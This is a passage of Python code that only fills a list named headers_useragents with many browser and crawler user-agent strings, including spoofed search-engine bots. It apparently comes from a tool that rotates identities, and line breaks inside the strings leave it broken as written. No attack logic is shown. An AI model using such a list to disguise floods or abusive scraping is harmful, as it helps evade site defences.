headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
